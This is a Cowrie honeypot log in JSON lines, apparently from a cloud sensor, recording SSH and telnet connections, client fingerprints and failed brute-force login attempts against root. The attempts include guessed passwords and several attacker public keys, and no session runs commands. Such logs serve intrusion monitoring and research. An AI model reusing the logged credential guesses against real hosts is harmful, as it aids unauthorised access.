{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:51.554263Z","src_ip":"38.93.206.2","session":"b3187a92032b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:51.747001Z","src_ip":"38.93.206.2","session":"b3187a92032b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:52.801673Z","src_ip":"38.93.206.2","session":"b3187a92032b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33678,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1c6dec666f6","protocol":"telnet","message":"New connection: 192.119.13.58:33678 (10.17.0.5:23) [session: b1c6dec666f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:53.587457Z"}
{"eventid":"cowrie.session.closed","duration":47.925944805145264,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:53.889557Z","src_ip":"192.119.13.58","session":"5a8af4cbc024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.39.132.68","src_port":48315,"dst_ip":"10.17.0.5","dst_port":23,"session":"93df676245f1","protocol":"telnet","message":"New connection: 196.39.132.68:48315 (10.17.0.5:23) [session: 93df676245f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:00.141708Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55184,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6957b38b311","protocol":"telnet","message":"New connection: 192.119.13.58:55184 (10.17.0.5:23) [session: c6957b38b311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:08.225853Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39438,"dst_ip":"10.17.0.5","dst_port":23,"session":"8afc43d46e8c","protocol":"telnet","message":"New connection: 192.119.13.58:39438 (10.17.0.5:23) [session: 8afc43d46e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:11.676554Z"}
{"eventid":"cowrie.session.closed","duration":13.37038779258728,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:13.511971Z","src_ip":"196.39.132.68","session":"93df676245f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54674,"dst_ip":"10.17.0.5","dst_port":23,"session":"904551a2faa4","protocol":"telnet","message":"New connection: 192.119.13.58:54674 (10.17.0.5:23) [session: 904551a2faa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:15.953040Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58790,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e3629d9a12","protocol":"telnet","message":"New connection: 192.119.13.58:58790 (10.17.0.5:23) [session: c3e3629d9a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:17.017575Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35450,"dst_ip":"159.203.135.109","dst_port":22,"session":"96c0d141cae0","protocol":"ssh","message":"New connection: 51.250.105.222:35450 (159.203.135.109:22) [session: 96c0d141cae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:17.403481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:17.409332Z","src_ip":"51.250.105.222","session":"96c0d141cae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:17.530450Z","src_ip":"51.250.105.222","session":"96c0d141cae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lena","message":"login attempt [root/lena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:17.908083Z","src_ip":"51.250.105.222","session":"96c0d141cae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:19.037428Z","src_ip":"51.250.105.222","session":"96c0d141cae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.985342502593994,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:20.040967Z","src_ip":"192.119.13.58","session":"381239978443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.007206439971924,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:22.337983Z","src_ip":"192.119.13.58","session":"a1b4d490a3d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57912,"dst_ip":"10.17.0.5","dst_port":23,"session":"1100c3edc381","protocol":"telnet","message":"New connection: 192.119.13.58:57912 (10.17.0.5:23) [session: 1100c3edc381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:24.354542Z"}
{"eventid":"cowrie.session.closed","duration":35.30763077735901,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:24.420490Z","src_ip":"192.119.13.58","session":"6cc863cea965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.80262279510498,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:25.200796Z","src_ip":"192.119.13.58","session":"07270a69b18c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36618,"dst_ip":"10.17.0.5","dst_port":23,"session":"85731f878349","protocol":"telnet","message":"New connection: 192.119.13.58:36618 (10.17.0.5:23) [session: 85731f878349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:26.281760Z"}
{"eventid":"cowrie.session.closed","duration":0.005089521408081055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:26.286739Z","src_ip":"192.119.13.58","session":"85731f878349","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38982,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f36d84bd18c","protocol":"telnet","message":"New connection: 192.119.13.58:38982 (10.17.0.5:23) [session: 4f36d84bd18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:26.900799Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.62.179","src_port":54774,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaf7857f3fb6","protocol":"ssh","message":"New connection: 68.235.62.179:54774 (10.17.0.5:22) [session: eaf7857f3fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.026048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.031759Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.066183Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:0e:8c:f4:8d:3e:ec:6d:02:6d:83:33:bb:78:c8:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCDxj+fIRjjQb1wzhByapAq8qKGehLKOBP5kP3g7PKhctIbiBXmHFdiORz3+K3DmUZWfdTk33PHlVuthHMRNYdn3YLJbNYyo6l6D8EI/YJQWf8FR+Y0BlAFYj0D8g8NcSJIAoDXTZMTnT6fFXzavrq5dkK3uxGa60hW2gGsSQUV4tkI5nOnAUxbIM6rCNXaat4QsVBK+ugvYxmqO71vT5HFht9NOKWJQt5D4g0oycLX9IMTddVG2Xyw72gCrgWTDSkk5If+Lnfi8LSkOCvnMw+gu/mvs4rw9aUxG87U9AWdYWOOrELfZdZ6el04ArerjuesEtIrz9/jowGob5B5eVzx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:0e:8c:f4:8d:3e:ec:6d:02:6d:83:33:bb:78:c8:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.203324Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:0e:8c:f4:8d:3e:ec:6d:02:6d:83:33:bb:78:c8:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCDxj+fIRjjQb1wzhByapAq8qKGehLKOBP5kP3g7PKhctIbiBXmHFdiORz3+K3DmUZWfdTk33PHlVuthHMRNYdn3YLJbNYyo6l6D8EI/YJQWf8FR+Y0BlAFYj0D8g8NcSJIAoDXTZMTnT6fFXzavrq5dkK3uxGa60hW2gGsSQUV4tkI5nOnAUxbIM6rCNXaat4QsVBK+ugvYxmqO71vT5HFht9NOKWJQt5D4g0oycLX9IMTddVG2Xyw72gCrgWTDSkk5If+Lnfi8LSkOCvnMw+gu/mvs4rw9aUxG87U9AWdYWOOrELfZdZ6el04ArerjuesEtIrz9/jowGob5B5eVzx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.207640Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:8b:29:39:38:21:fb:c8:1b:31:b5:07:bc:ea:7a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwDvbDLQngUtn/oOljdaIcmN9jYKTRhY6LkxMHUqUmfMs9+M0ZiMNXA73Muc/YDaGEgjkSA6qBH7OM/P7kSozar3u2wQHgkJdIf8tviOiDMPFyOWAHEUiMSdydBEebVcQdUWvIibMOb2zB5DQTNqixJML6S6/CPQriJJl1SrY/Aj4WGQX/gjGZbx8tytpueHaTSgVv1xgFJrtUCUpv/FT1YQ4SpkheP3DHRB6F2mwrreoMOFIDCLlOncN7NFNzAKCWVDJCIaF8eetmsN3G5zwEqTo35W6stLRTZqmvIH9Jg9PvkZ+1tQovNmTksW2XgA3vhq7aeguuwKErgjy5kl3jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:8b:29:39:38:21:fb:c8:1b:31:b5:07:bc:ea:7a:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.241395Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:8b:29:39:38:21:fb:c8:1b:31:b5:07:bc:ea:7a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwDvbDLQngUtn/oOljdaIcmN9jYKTRhY6LkxMHUqUmfMs9+M0ZiMNXA73Muc/YDaGEgjkSA6qBH7OM/P7kSozar3u2wQHgkJdIf8tviOiDMPFyOWAHEUiMSdydBEebVcQdUWvIibMOb2zB5DQTNqixJML6S6/CPQriJJl1SrY/Aj4WGQX/gjGZbx8tytpueHaTSgVv1xgFJrtUCUpv/FT1YQ4SpkheP3DHRB6F2mwrreoMOFIDCLlOncN7NFNzAKCWVDJCIaF8eetmsN3G5zwEqTo35W6stLRTZqmvIH9Jg9PvkZ+1tQovNmTksW2XgA3vhq7aeguuwKErgjy5kl3jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.249499Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:0c:b2:69:3b:ca:f8:e0:f1:eb:a5:56:23:6c:52:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqgq/PvXzMXh/tk091XhXhFxGlVlIZfJgY5ppaccGUp+ojnjEyswlt8FFeYMbcxhzP+c+huxp1+swwmqkEJLDVf6X1+lsobi34XBxG3j3sgY7uWqhaG7VbA4+B1rKPE/sAoy+h4bfjYGGemrjG7CHtfWjg5xwZbdhcFdmA2DT6pJT83z6ICg3q5RFdpLGb9Gtq5wlWGRZ9Uct/2R8YnBpGvZDSufUh7YcSxU1GmlfBYc3x9xd42tK+r8xEm0hUXj9ugDLVA+PuZVrgLMiKZQp6XT5SlbDaQeNAigTlKiIJCRNtK/xM0wHe6kis/GOqrafNVovT32hOb0xYC7Y7P/Otw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:0c:b2:69:3b:ca:f8:e0:f1:eb:a5:56:23:6c:52:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.281196Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:0c:b2:69:3b:ca:f8:e0:f1:eb:a5:56:23:6c:52:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqgq/PvXzMXh/tk091XhXhFxGlVlIZfJgY5ppaccGUp+ojnjEyswlt8FFeYMbcxhzP+c+huxp1+swwmqkEJLDVf6X1+lsobi34XBxG3j3sgY7uWqhaG7VbA4+B1rKPE/sAoy+h4bfjYGGemrjG7CHtfWjg5xwZbdhcFdmA2DT6pJT83z6ICg3q5RFdpLGb9Gtq5wlWGRZ9Uct/2R8YnBpGvZDSufUh7YcSxU1GmlfBYc3x9xd42tK+r8xEm0hUXj9ugDLVA+PuZVrgLMiKZQp6XT5SlbDaQeNAigTlKiIJCRNtK/xM0wHe6kis/GOqrafNVovT32hOb0xYC7Y7P/Otw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.286681Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:5b:92:64:96:72:31:e1:72:4a:b6:13:98:c1:dd:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzivhYtmb/y/T5mviOY8nbyGZZucZdxhQ+e0cK5+8jQBkLCPjuLgLmLoMLcWFO0xn9I6QzlkUAHBrmouuf7Mw1U+Ww8vr9WnAl6elLrQpabyhxsKmB4GK8Gvxw4hqLv93F4io0VPNIdrpt+MQlZQYOYFO7Nb8gPsknORftIE2+0qi+jTvNyR1c8VxZNNn8KkU7myHwZQWR0JBbnFbarDfpldf1nfbQB5eyPnPXWGPRaEojy7c+a1rdeEB1E1gc3KnCLHOl/NWdbVl0ewLO0uw2vXgxw2kz5EiMrb30sKn4uXIAbQ4rK9DQa+Z438QaGyJpx2hkqDq6mXDjPVes97Fb6Jb2mzpjBr+XPB2Iot0MxUAKsZZtwAjyhwBiIsVRng2GHzZ5xWPnhmsYig+0jsFcBnqNTJXhEP4Ruv/nOmsjeCxNHSHJP5ic79aex1V92PTl62lJGkDNhU5hmQTeUFfOhSL99Tfu3w3yHq392GVsr6YrMdG7l3arciB+EpFQI1IvgjEL15MCK1O2qVdOu1JYKGcnskJFQ1hfloZZ6S2GDVZ44gQse6Pq4RB41SoaxFoOEPoiHf0rQX5QtgD3Y/iAeJt40V81n3I8BfLx7I3AI3Ib+IUeheoOCh4TP9TcxmSIdtZckwwgZ69lfCkSTm/ta/J217M0VGmXS+Ev59G+GQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:5b:92:64:96:72:31:e1:72:4a:b6:13:98:c1:dd:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.318076Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:5b:92:64:96:72:31:e1:72:4a:b6:13:98:c1:dd:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzivhYtmb/y/T5mviOY8nbyGZZucZdxhQ+e0cK5+8jQBkLCPjuLgLmLoMLcWFO0xn9I6QzlkUAHBrmouuf7Mw1U+Ww8vr9WnAl6elLrQpabyhxsKmB4GK8Gvxw4hqLv93F4io0VPNIdrpt+MQlZQYOYFO7Nb8gPsknORftIE2+0qi+jTvNyR1c8VxZNNn8KkU7myHwZQWR0JBbnFbarDfpldf1nfbQB5eyPnPXWGPRaEojy7c+a1rdeEB1E1gc3KnCLHOl/NWdbVl0ewLO0uw2vXgxw2kz5EiMrb30sKn4uXIAbQ4rK9DQa+Z438QaGyJpx2hkqDq6mXDjPVes97Fb6Jb2mzpjBr+XPB2Iot0MxUAKsZZtwAjyhwBiIsVRng2GHzZ5xWPnhmsYig+0jsFcBnqNTJXhEP4Ruv/nOmsjeCxNHSHJP5ic79aex1V92PTl62lJGkDNhU5hmQTeUFfOhSL99Tfu3w3yHq392GVsr6YrMdG7l3arciB+EpFQI1IvgjEL15MCK1O2qVdOu1JYKGcnskJFQ1hfloZZ6S2GDVZ44gQse6Pq4RB41SoaxFoOEPoiHf0rQX5QtgD3Y/iAeJt40V81n3I8BfLx7I3AI3Ib+IUeheoOCh4TP9TcxmSIdtZckwwgZ69lfCkSTm/ta/J217M0VGmXS+Ev59G+GQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.322756Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:37:69:fa:52:34:00:88:78:ff:42:b1:f5:83:f1:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhL8tITHzMTydWuMWhhdXvWaL96d0/59IZ/jGjL8PEh4ebB4Tu9H0MFP4msI+3/j69i/12FLPrMQHN9i6DqCBZOofMOFKj6EncBJo2gHtzZYNLLdIm9S5bnuLDnWoEt1H9kCwi0WX+/KzpXSduN6sT5j3T9++IX1U6ypKrFvnRO0v+FGf/nb/nRYwdSNkhrohSjP5yqzH96+R9t/hYUQWzSSpBMBLRbFeFBwjLzScUXLsGtVz7YNN3r6A+EOQXtNK2owapM75Y8rohDh/e/bNlsBVKl1D1rDCYyIiUvQ1MhWp+W1lPFFdX26xSMqgsoEWeUti0Vc65X3SRj2YZQLXr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:37:69:fa:52:34:00:88:78:ff:42:b1:f5:83:f1:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.358588Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:37:69:fa:52:34:00:88:78:ff:42:b1:f5:83:f1:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhL8tITHzMTydWuMWhhdXvWaL96d0/59IZ/jGjL8PEh4ebB4Tu9H0MFP4msI+3/j69i/12FLPrMQHN9i6DqCBZOofMOFKj6EncBJo2gHtzZYNLLdIm9S5bnuLDnWoEt1H9kCwi0WX+/KzpXSduN6sT5j3T9++IX1U6ypKrFvnRO0v+FGf/nb/nRYwdSNkhrohSjP5yqzH96+R9t/hYUQWzSSpBMBLRbFeFBwjLzScUXLsGtVz7YNN3r6A+EOQXtNK2owapM75Y8rohDh/e/bNlsBVKl1D1rDCYyIiUvQ1MhWp+W1lPFFdX26xSMqgsoEWeUti0Vc65X3SRj2YZQLXr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.362862Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.399415Z","src_ip":"68.235.62.179","session":"eaf7857f3fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.75966024398804,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:30.695786Z","src_ip":"192.119.13.58","session":"e7ae5e0d03e5","protocol":"telnet"}
